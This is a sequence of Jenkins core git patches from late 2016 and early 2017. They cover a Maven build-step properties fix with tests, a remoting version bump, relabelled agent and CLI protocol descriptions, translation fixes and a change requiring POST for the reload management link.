                                          What's new in 2.37 (2016/12/18)

                                            -- GitLab From 6ad91b9799ce7eb6db8e6a4ee5a7e81d0a872fe3 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sun, 25 Dec 2016 21:01:48 +0100 Subject: [PATCH 636/811] Typo --- changelog.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 8c92216741..b8d81257db 100644 --- a/changelog.html +++ b/changelog.html @@ -62,7 +62,7 @@ Upcoming changes

                                            What's new in 2.38 (2016/12/25)

                                            • - Update to Winstone 3.2 to support ad-hoc certification generation on Java 8 (using unsupported APIs). + Update to Winstone 3.2 to support ad-hoc certificate generation on Java 8 (using unsupported APIs). This option is deprecated and will be removed in a future release. We strongly recommend you create self-signed certificates yourself and use --httpsKeyStore and related options instead. (issue 25333) -- GitLab From 138ce3d8d191daab42ed986254ae689ceb836aad Mon Sep 17 00:00:00 2001 From: Victor Date: Tue, 27 Dec 2016 10:47:18 +0100 Subject: [PATCH 637/811] [FIX JENKINS-39268] Properties are not passed to Maven command by Maven build step (#2638) * [FIX JENKINS-39268] Properties are not passed to Maven command by Maven build step * [FIX JENKINS-39268] Properties are not passed to Maven command by Maven build step * [FIX JENKINS-39268] Properties are not passed to Maven command by Maven build step * [FIX JENKINS-39268] Changed order in which properties are appended to command line: properties appended later win in case of conflicts * [FIX JENKINS-39268] More precise messages in some assertions * [FIX JENKINS-39268] Cleanup unused imports * [FIX JENKINS-39268] Added functional tests for Maven task. --- core/src/main/java/hudson/tasks/Maven.java | 12 ++++--- .../src/test/java/hudson/tasks/MavenTest.java | 34 ++++++++++++++----- 2 files changed, 33 insertions(+), 13 deletions(-) diff --git a/core/src/main/java/hudson/tasks/Maven.java b/core/src/main/java/hudson/tasks/Maven.java index a8d78ed344..dc9dfe8475 100644 --- a/core/src/main/java/hudson/tasks/Maven.java +++ b/core/src/main/java/hudson/tasks/Maven.java @@ -340,13 +340,17 @@ public class Maven extends Builder { } } + Set sensitiveVars = build.getSensitiveBuildVariables(); + + // Inject environment variables only if chosen to do so if (isInjectBuildVariables()) { - Set sensitiveVars = build.getSensitiveBuildVariables(); - args.addKeyValuePairs("-D",build.getBuildVariables(),sensitiveVars); - final VariableResolver resolver = new Union(new ByMap(env), vr); - args.addKeyValuePairsFromPropertyString("-D",this.properties,resolver,sensitiveVars); + args.addKeyValuePairs("-D", build.getBuildVariables(), sensitiveVars); } + // Add properties from builder configuration, AFTER the injected build variables. + final VariableResolver resolver = new Union(new ByMap(env), vr); + args.addKeyValuePairsFromPropertyString("-D", this.properties, resolver, sensitiveVars); + if (usesPrivateRepository()) args.add("-Dmaven.repo.local=" + build.getWorkspace().child(".repository")); args.addTokenized(normalizedTarget); diff --git a/test/src/test/java/hudson/tasks/MavenTest.java b/test/src/test/java/hudson/tasks/MavenTest.java index 5a61b3f5dc..bbc3d804a4 100644 --- a/test/src/test/java/hudson/tasks/MavenTest.java +++ b/test/src/test/java/hudson/tasks/MavenTest.java @@ -45,10 +45,8 @@ import hudson.tasks.Maven.MavenInstallation.DescriptorImpl; import hudson.tools.ToolProperty; import hudson.tools.ToolPropertyDescriptor; import hudson.tools.InstallSourceProperty; -import hudson.tools.ToolInstallation; import hudson.util.DescribableList; -import java.io.IOException; import java.util.Collections; import javax.xml.transform.Source; @@ -63,13 +61,11 @@ import hudson.model.PasswordParameterDefinition; import org.jvnet.hudson.test.Issue; import static org.junit.Assert.*; -import org.apache.tools.ant.filters.TokenFilter.ContainsString; import org.junit.Rule; import org.junit.Test; import org.jvnet.hudson.test.ExtractResourceSCM; import org.jvnet.hudson.test.JenkinsRule; import org.jvnet.hudson.test.ToolInstallations; -import org.jvnet.hudson.test.SingleFileSCM; /** * @author Kohsuke Kawaguchi @@ -323,21 +319,41 @@ public class MavenTest { FreeStyleProject p = j.createFreeStyleProject(); p.updateByXml((Source) new StreamSource(getClass().getResourceAsStream("MavenTest/doPassBuildVariablesOptionally.xml"))); String log = j.buildAndAssertSuccess(p).getLog(); - assertTrue(p.getBuildersList().get(Maven.class).isInjectBuildVariables()); - assertTrue("Build variables are injected", log.contains("-DNAME=VALUE")); + assertTrue("Build variables injection should be enabled by default when loading from XML", p.getBuildersList().get(Maven.class).isInjectBuildVariables()); + assertTrue("Build variables should be injected by default when loading from XML", log.contains("-DNAME=VALUE")); p.getBuildersList().clear(); p.getBuildersList().add(new Maven("--help", maven.getName(), null, null, null, false, null, null, false/*do not inject*/)); log = j.buildAndAssertSuccess(p).getLog(); - assertFalse("Build variables are not injected", log.contains("-DNAME=VALUE")); + assertFalse("Build variables should not be injected", log.contains("-DNAME=VALUE")); p.getBuildersList().clear(); p.getBuildersList().add(new Maven("--help", maven.getName(), null, null, null, false, null, null, true/*do inject*/)); log = j.buildAndAssertSuccess(p).getLog(); - assertTrue("Build variables are injected", log.contains("-DNAME=VALUE")); + assertTrue("Build variables should be injected", log.contains("-DNAME=VALUE")); - assertFalse(new Maven("", "").isInjectBuildVariables()); + assertFalse("Build variables injection should be disabled by default", new Maven("", "").isInjectBuildVariables()); + } + + @Test public void doAlwaysPassProperties() throws Exception { + MavenInstallation maven = ToolInstallations.configureMaven3(); + + FreeStyleProject p = j.createFreeStyleProject(); + String properties = "TEST_PROP1=VAL1\nTEST_PROP2=VAL2"; + + p.getBuildersList().add(new Maven("--help", maven.getName(), null, properties, null, false, null, + null, false/*do not inject build variables*/)); + String log = j.buildAndAssertSuccess(p).getLog(); + assertTrue("Properties should always be injected, even when build variables injection is disabled", + log.contains("-DTEST_PROP1=VAL1") && log.contains("-DTEST_PROP2=VAL2")); + + p.getBuildersList().clear(); + p.getBuildersList().add(new Maven("--help", maven.getName(), null, properties, null, false, null, + null, true/*do inject build variables*/)); + log = j.buildAndAssertSuccess(p).getLog(); + assertTrue("Properties should always be injected, even when build variables injection is enabled", + log.contains("-DTEST_PROP1=VAL1") && log.contains("-DTEST_PROP2=VAL2")); } } -- GitLab From 7c2e1b2ece1770874eedd69cf20142aad4b491b9 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Tue, 27 Dec 2016 12:06:26 +0100 Subject: [PATCH 638/811] [FIXED JENKINS-39835] - Update remoting to 3.4 (#2679) --- pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pom.xml b/pom.xml index 1d7944f044..3b0ff8bf83 100644 --- a/pom.xml +++ b/pom.xml @@ -181,7 +181,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 3.3 + 3.4 -- GitLab From 5f67d909babcdfd220ae8898c398e6f771aca63d Mon Sep 17 00:00:00 2001 From: Sam Gleske Date: Tue, 27 Dec 2016 15:12:09 -0800 Subject: [PATCH 639/811] [JENKINS-40700] Enhance slave protocol descriptions Relates to [JENKINS-40700]. The updated displayNames describe the protocols by using similar verbiage from: core/src/main/resources/hudson/cli/CliProtocol/description.jelly core/src/main/resources/hudson/cli/CliProtocol2/description.jelly core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol4/description.jelly At a high level, I wanted to expose to the user, from a security perspective, whether or not the protocols were secure and how. --- .../resources/hudson/cli/CliProtocol/description.jelly | 2 +- .../resources/hudson/cli/CliProtocol2/description.jelly | 2 +- core/src/main/resources/hudson/cli/Messages.properties | 4 ++-- .../slaves/JnlpSlaveAgentProtocol/description.jelly | 2 +- .../slaves/JnlpSlaveAgentProtocol2/description.jelly | 2 +- .../slaves/JnlpSlaveAgentProtocol3/description.jelly | 2 +- .../src/main/resources/jenkins/slaves/Messages.properties | 8 ++++---- 7 files changed, 11 insertions(+), 11 deletions(-) diff --git a/core/src/main/resources/hudson/cli/CliProtocol/description.jelly b/core/src/main/resources/hudson/cli/CliProtocol/description.jelly index e24d569129..f56050b390 100644 --- a/core/src/main/resources/hudson/cli/CliProtocol/description.jelly +++ b/core/src/main/resources/hudson/cli/CliProtocol/description.jelly @@ -1,4 +1,4 @@ - ${%Accepts connections from CLI clients} + ${%Accepts connections from CLI clients. This protocol is insecure.} diff --git a/core/src/main/resources/hudson/cli/CliProtocol2/description.jelly b/core/src/main/resources/hudson/cli/CliProtocol2/description.jelly index 66f27c511c..f96439d702 100644 --- a/core/src/main/resources/hudson/cli/CliProtocol2/description.jelly +++ b/core/src/main/resources/hudson/cli/CliProtocol2/description.jelly @@ -1,4 +1,4 @@ - ${%Extends the version 1 protocol by adding transport encryption} + ${%Extends the version 1 protocol by adding transport encryption.} diff --git a/core/src/main/resources/hudson/cli/Messages.properties b/core/src/main/resources/hudson/cli/Messages.properties index f2cf34d4d6..e425387117 100644 --- a/core/src/main/resources/hudson/cli/Messages.properties +++ b/core/src/main/resources/hudson/cli/Messages.properties @@ -94,5 +94,5 @@ OfflineNodeCommand.ShortDescription=Stop using a node for performing builds temp WaitNodeOnlineCommand.ShortDescription=Wait for a node to become online. WaitNodeOfflineCommand.ShortDescription=Wait for a node to become offline. -CliProtocol.displayName=Jenkins CLI Protocol/1 -CliProtocol2.displayName=Jenkins CLI Protocol/2 +CliProtocol.displayName=Jenkins CLI Protocol/1 (insecure) +CliProtocol2.displayName=Jenkins CLI Protocol/2 (transport encryption) diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly index d848342d48..83dbe945e4 100644 --- a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly @@ -1,4 +1,4 @@ - ${%Accepts connections from remote clients so that they can be used as additional build agents} + ${%Accepts connections from remote clients so that they can be used as additional build agents. This protocol is insecure.} diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly index b3c0c58444..b8af520595 100644 --- a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly @@ -1,4 +1,4 @@ - ${%Extends the version 1 protocol by adding a per-client cookie, so that we can detect a reconnection from the agent and take appropriate action} + ${%Extends the version 1 protocol by adding a per-client cookie, so that we can detect a reconnection from the agent and take appropriate action. This protocol is insecure.} diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly index c052dfe335..6ea6fae893 100644 --- a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly @@ -1,4 +1,4 @@ - ${%Extends the version 2 protocol by adding basic encryption but requires a thread per client} + ${%Extends the version 2 protocol by adding basic encryption but requires a thread per client. This protocol falls back to Java Web Start Agent Protocol/2 (insecure) when it can't create a secure connection.} diff --git a/core/src/main/resources/jenkins/slaves/Messages.properties b/core/src/main/resources/jenkins/slaves/Messages.properties index 7085843d8b..9e6be8371e 100644 --- a/core/src/main/resources/jenkins/slaves/Messages.properties +++ b/core/src/main/resources/jenkins/slaves/Messages.properties @@ -20,7 +20,7 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -JnlpSlaveAgentProtocol.displayName=Java Web Start Agent Protocol/1 -JnlpSlaveAgentProtocol2.displayName=Java Web Start Agent Protocol/2 -JnlpSlaveAgentProtocol3.displayName=Java Web Start Agent Protocol/3 -JnlpSlaveAgentProtocol4.displayName=Java Web Start Agent Protocol/4 +JnlpSlaveAgentProtocol.displayName=Java Web Start Agent Protocol/1 (insecure) +JnlpSlaveAgentProtocol2.displayName=Java Web Start Agent Protocol/2 (insecure) +JnlpSlaveAgentProtocol3.displayName=Java Web Start Agent Protocol/3 (basic encryption) +JnlpSlaveAgentProtocol4.displayName=Java Web Start Agent Protocol/4 (TLS encryption) -- GitLab From f47a5ccea75b2a8ddd0611a5d652aec6fafc9c96 Mon Sep 17 00:00:00 2001 From: Sam Gleske Date: Tue, 27 Dec 2016 15:56:24 -0800 Subject: [PATCH 640/811] JNLP3 not recommended --- .../jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly index 6ea6fae893..c4f00764b8 100644 --- a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly @@ -1,4 +1,4 @@ - ${%Extends the version 2 protocol by adding basic encryption but requires a thread per client. This protocol falls back to Java Web Start Agent Protocol/2 (insecure) when it can't create a secure connection.} + ${%Extends the version 2 protocol by adding basic encryption but requires a thread per client. This protocol falls back to Java Web Start Agent Protocol/2 (insecure) when it can't create a secure connection. This protocol is not recommended. Use Java Web Start Agent Protocol/4 instead.} -- GitLab From bcf5b089273dd2e1d6a0790ee9fb32ffa2c442f3 Mon Sep 17 00:00:00 2001 From: Sam Gleske Date: Wed, 28 Dec 2016 15:53:22 -0800 Subject: [PATCH 641/811] Change insecure to unencrypted --- .../main/resources/hudson/cli/CliProtocol/description.jelly | 2 +- core/src/main/resources/hudson/cli/Messages.properties | 2 +- .../jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly | 2 +- .../jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly | 2 +- .../jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly | 2 +- core/src/main/resources/jenkins/slaves/Messages.properties | 4 ++-- 6 files changed, 7 insertions(+), 7 deletions(-) diff --git a/core/src/main/resources/hudson/cli/CliProtocol/description.jelly b/core/src/main/resources/hudson/cli/CliProtocol/description.jelly index f56050b390..a9e5e4ca7a 100644 --- a/core/src/main/resources/hudson/cli/CliProtocol/description.jelly +++ b/core/src/main/resources/hudson/cli/CliProtocol/description.jelly @@ -1,4 +1,4 @@ - ${%Accepts connections from CLI clients. This protocol is insecure.} + ${%Accepts connections from CLI clients. This protocol is unencrypted.} diff --git a/core/src/main/resources/hudson/cli/Messages.properties b/core/src/main/resources/hudson/cli/Messages.properties index e425387117..997193ad61 100644 --- a/core/src/main/resources/hudson/cli/Messages.properties +++ b/core/src/main/resources/hudson/cli/Messages.properties @@ -94,5 +94,5 @@ OfflineNodeCommand.ShortDescription=Stop using a node for performing builds temp WaitNodeOnlineCommand.ShortDescription=Wait for a node to become online. WaitNodeOfflineCommand.ShortDescription=Wait for a node to become offline. -CliProtocol.displayName=Jenkins CLI Protocol/1 (insecure) +CliProtocol.displayName=Jenkins CLI Protocol/1 (unencrypted) CliProtocol2.displayName=Jenkins CLI Protocol/2 (transport encryption) diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly index 83dbe945e4..67fef746c8 100644 --- a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly @@ -1,4 +1,4 @@ - ${%Accepts connections from remote clients so that they can be used as additional build agents. This protocol is insecure.} + ${%Accepts connections from remote clients so that they can be used as additional build agents. This protocol is unencrypted.} diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly index b8af520595..b73ddec909 100644 --- a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly @@ -1,4 +1,4 @@ - ${%Extends the version 1 protocol by adding a per-client cookie, so that we can detect a reconnection from the agent and take appropriate action. This protocol is insecure.} + ${%Extends the version 1 protocol by adding a per-client cookie, so that we can detect a reconnection from the agent and take appropriate action. This protocol is unencrypted.} diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly index c4f00764b8..58af595972 100644 --- a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly @@ -1,4 +1,4 @@ - ${%Extends the version 2 protocol by adding basic encryption but requires a thread per client. This protocol falls back to Java Web Start Agent Protocol/2 (insecure) when it can't create a secure connection. This protocol is not recommended. Use Java Web Start Agent Protocol/4 instead.} + ${%Extends the version 2 protocol by adding basic encryption but requires a thread per client. This protocol falls back to Java Web Start Agent Protocol/2 (unencrypted) when it can't create a secure connection. This protocol is not recommended. Use Java Web Start Agent Protocol/4 instead.} diff --git a/core/src/main/resources/jenkins/slaves/Messages.properties b/core/src/main/resources/jenkins/slaves/Messages.properties index 9e6be8371e..6cdab92614 100644 --- a/core/src/main/resources/jenkins/slaves/Messages.properties +++ b/core/src/main/resources/jenkins/slaves/Messages.properties @@ -20,7 +20,7 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -JnlpSlaveAgentProtocol.displayName=Java Web Start Agent Protocol/1 (insecure) -JnlpSlaveAgentProtocol2.displayName=Java Web Start Agent Protocol/2 (insecure) +JnlpSlaveAgentProtocol.displayName=Java Web Start Agent Protocol/1 (unencrypted) +JnlpSlaveAgentProtocol2.displayName=Java Web Start Agent Protocol/2 (unencrypted) JnlpSlaveAgentProtocol3.displayName=Java Web Start Agent Protocol/3 (basic encryption) JnlpSlaveAgentProtocol4.displayName=Java Web Start Agent Protocol/4 (TLS encryption) -- GitLab From e1828d8949c5f5f44795830806bdd1aef4a57e37 Mon Sep 17 00:00:00 2001 From: Jordi Mas Date: Fri, 30 Dec 2016 08:52:25 +0100 Subject: [PATCH 642/811] Fixes to Catalan translation --- .../resources/hudson/widgets/HistoryWidget/index_ca.properties | 2 +- .../resources/jenkins/model/Jenkins/loginError_ca.properties | 2 +- core/src/main/resources/lib/hudson/buildCaption_ca.properties | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/core/src/main/resources/hudson/widgets/HistoryWidget/index_ca.properties b/core/src/main/resources/hudson/widgets/HistoryWidget/index_ca.properties index e1a3bacfbf..6c691a2a9b 100644 --- a/core/src/main/resources/hudson/widgets/HistoryWidget/index_ca.properties +++ b/core/src/main/resources/hudson/widgets/HistoryWidget/index_ca.properties @@ -20,7 +20,7 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -More\ ...=Mes... +More\ ...=M\u00E9s... for\ all=per a tot for\ failures=per a les fallades trend=tend\u00E8ncia diff --git a/core/src/main/resources/jenkins/model/Jenkins/loginError_ca.properties b/core/src/main/resources/jenkins/model/Jenkins/loginError_ca.properties index b15424ad73..467070c648 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/loginError_ca.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/loginError_ca.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -Try\ again=Probar un altre cop +Try\ again=Provar un altre cop diff --git a/core/src/main/resources/lib/hudson/buildCaption_ca.properties b/core/src/main/resources/lib/hudson/buildCaption_ca.properties index b33e2f310f..fd1d3aabd9 100644 --- a/core/src/main/resources/lib/hudson/buildCaption_ca.properties +++ b/core/src/main/resources/lib/hudson/buildCaption_ca.properties @@ -1,4 +1,4 @@ # This file is under the MIT License by authors -Progress=Progres +Progress=Progr\u00E9s cancel=cancel\u00B7lar -- GitLab From 4652184766eb266aca2ddfc91fe0fea3bbcbb8f8 Mon Sep 17 00:00:00 2001 From: Damian Szczepanik Date: Fri, 30 Dec 2016 23:19:49 +0100 Subject: [PATCH 643/811] Polish translations --- .../ListView/configure-entries_pl.properties | 29 ++++++++++++++++--- .../hudson/model/Messages_pl.properties | 2 ++ .../config_pl.properties | 29 +++++++++++++++++++ .../hudson/model/View/configure.jelly | 4 +-- .../hudson/model/View/configure_pl.properties | 26 +++++++++++++++-- .../hudson/tasks/Messages_pl.properties | 26 +++++++++++++++++ .../TimerTrigger/config_pl.properties | 2 +- .../hudson/views/Messages_pl.properties | 9 +++++- .../StatusColumn/columnHeader_pl.properties | 3 +- .../WeatherColumn/columnHeader_pl.properties | 3 +- .../config-details_pl.properties | 22 ++++++++++++++ .../jenkins/triggers/Messages_pl.properties | 22 ++++++++++++++ 12 files changed, 165 insertions(+), 12 deletions(-) create mode 100644 core/src/main/resources/hudson/model/RunParameterDefinition/config_pl.properties create mode 100644 core/src/main/resources/hudson/tasks/Messages_pl.properties create mode 100644 core/src/main/resources/jenkins/model/BuildDiscarderProperty/config-details_pl.properties create mode 100644 core/src/main/resources/jenkins/triggers/Messages_pl.properties diff --git a/core/src/main/resources/hudson/model/ListView/configure-entries_pl.properties b/core/src/main/resources/hudson/model/ListView/configure-entries_pl.properties index b1c478e57b..c7627c10d3 100644 --- a/core/src/main/resources/hudson/model/ListView/configure-entries_pl.properties +++ b/core/src/main/resources/hudson/model/ListView/configure-entries_pl.properties @@ -1,6 +1,24 @@ -# This file is under the MIT License by authors - -Add\ column=Dodaj kolumn\u0119 +# The MIT License +# +# Copyright (c) 2013-2016, Kohsuke Kawaguchi, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE All\ selected\ jobs=Wszystkie wybrane projekty Columns=Kolumny Disabled\ jobs\ only=Tylko wy\u0142\u0105czone projekty @@ -9,4 +27,7 @@ Job\ Filters=Filtry projekt\u00F3w Jobs=Projekty Regular\ expression=Wyra\u017Cenie regularne Status\ Filter=Status (filtr) -Use\ a\ regular\ expression\ to\ include\ jobs\ into\ the\ view=U\u017Cyj wyra\u017Cenia regularnego aby doda\u0107 projekty do widoku +Use\ a\ regular\ expression\ to\ include\ jobs\ into\ the\ view=U\u017Cyj wyra\u017Cenia regularnego, aby doda\u0107 projekty do widoku +Recurse\ in\ subfolders=Rekursywnie wg\u0142\u0105b folder\u00F3w +Add\ column=Dodaj kolumn\u0119 +Add\ Job\ Filter=Dodaj filtr zada\u0144 diff --git a/core/src/main/resources/hudson/model/Messages_pl.properties b/core/src/main/resources/hudson/model/Messages_pl.properties index c44b6f7fe2..de4204c028 100644 --- a/core/src/main/resources/hudson/model/Messages_pl.properties +++ b/core/src/main/resources/hudson/model/Messages_pl.properties @@ -82,3 +82,5 @@ ListView.DisplayName=Widok listy MyView.DisplayName=M\u00F3j widok # Only build jobs with label expressions matching this node Node.Mode.EXCLUSIVE=Uruchamiaj te projekty, kt\u00F3re maj\u0105 etykiet\u0119 pasuj\u0105c\u0105 do tego w\u0119\u017C\u0142a +Hudson.ViewName=Wszystkie +RunParameterDefinition.DisplayName=Parametr uruchomienia \ No newline at end of file diff --git a/core/src/main/resources/hudson/model/RunParameterDefinition/config_pl.properties b/core/src/main/resources/hudson/model/RunParameterDefinition/config_pl.properties new file mode 100644 index 0000000000..7b9a582803 --- /dev/null +++ b/core/src/main/resources/hudson/model/RunParameterDefinition/config_pl.properties @@ -0,0 +1,29 @@ +# The MIT License +# +# Copyright (c) 2016, Damiani Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Filter=Filtr +Completed\ Builds\ Only=Tylko zadania zako\u0144czone +Successful\ Builds\ Only=Tylko zadania zako\u0144czone sukcesem +Project=Projekt +Name=Nazwa +All\ Builds=Wszystkie zadania +Stable\ Builds\ Only=Tylko stabilne zadania +Description=Opis diff --git a/core/src/main/resources/hudson/model/View/configure.jelly b/core/src/main/resources/hudson/model/View/configure.jelly index 11d4ea1f86..ac3f9f91c5 100644 --- a/core/src/main/resources/hudson/model/View/configure.jelly +++ b/core/src/main/resources/hudson/model/View/configure.jelly @@ -1,7 +1,7 @@ +

                                              What's new in 2.39 (2017/01/02)

                                              +
                                                +
                                              • +

                                              What's new in 2.38 (2016/12/25)

                                              • -- GitLab From 499eadbf3150dcf8afd39e12804a6c433feeb177 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Mon, 2 Jan 2017 15:41:04 +0100 Subject: [PATCH 648/811] Noting #2638, #2679 --- changelog.html | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index e8ae989204..bd405ad7aa 100644 --- a/changelog.html +++ b/changelog.html @@ -61,7 +61,12 @@ Upcoming changes

                                                What's new in 2.39 (2017/01/02)

                                                  -
                                                • +
                                                • + Properties were not passed to Maven command by Maven build step + (issue 39268) +
                                                • + Update remoting to 3.4 + (issue 39835)

                                                What's new in 2.38 (2016/12/25)

                                                  -- GitLab From c9b878f4889659b889d03e24aa8e5cb6eb763b89 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Mon, 2 Jan 2017 19:56:59 +0100 Subject: [PATCH 649/811] [FIX JENKINS-38175] Fix various ManagementLink related bugs - In the context menu, the 'post' flag was set iff 'requiresConfirmation' was set, even though they're independent (e.g. Prepare for shutdown requires the former but not the latter) - /manage screen: The icon (t:summary) does not support POST or confirmation links, but was set to not link only if no confirmation was required (i.e. POST links did not POST when the icon was clicked -- now the icon is not clickable as a workaround) - /manage screen: All links requiring confirmation did POST, which masked the fact that the 'Reload from disk' link wasn't set up to require POST (it was only broken in the context menu). Now, confirmation and POST are separate flags, and 'Reload from disk' link now requests POST. --- core/src/main/java/jenkins/management/ReloadLink.java | 6 +++++- core/src/main/resources/jenkins/model/Jenkins/manage.jelly | 6 +++--- 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/core/src/main/java/jenkins/management/ReloadLink.java b/core/src/main/java/jenkins/management/ReloadLink.java index 9159788379..59fabb8ba1 100644 --- a/core/src/main/java/jenkins/management/ReloadLink.java +++ b/core/src/main/java/jenkins/management/ReloadLink.java @@ -56,5 +56,9 @@ public class ReloadLink extends ManagementLink { @Override public boolean getRequiresConfirmation() { return true; } - + + @Override + public boolean getRequiresPOST() { + return true; + } } diff --git a/core/src/main/resources/jenkins/model/Jenkins/manage.jelly b/core/src/main/resources/jenkins/model/Jenkins/manage.jelly index 63684e446b..ff56ce0eca 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/manage.jelly +++ b/core/src/main/resources/jenkins/model/Jenkins/manage.jelly @@ -32,15 +32,15 @@ THE SOFTWARE. - ${taskTags!=null and attrs.contextMenu!='false' ? taskTags.add(href,iconUrl,title,requiresConfirmation,requiresConfirmation) : null} + ${taskTags!=null and attrs.contextMenu!='false' ? taskTags.add(href,iconUrl,title,post,requiresConfirmation) : null} + href="${requiresConfirmation || post ? null : href}" iconOnly="true"> \ No newline at end of file + this document. + diff --git a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_de.html b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_de.html index e8f6341474..80c921f2d1 100644 --- a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_de.html +++ b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_de.html @@ -20,5 +20,5 @@

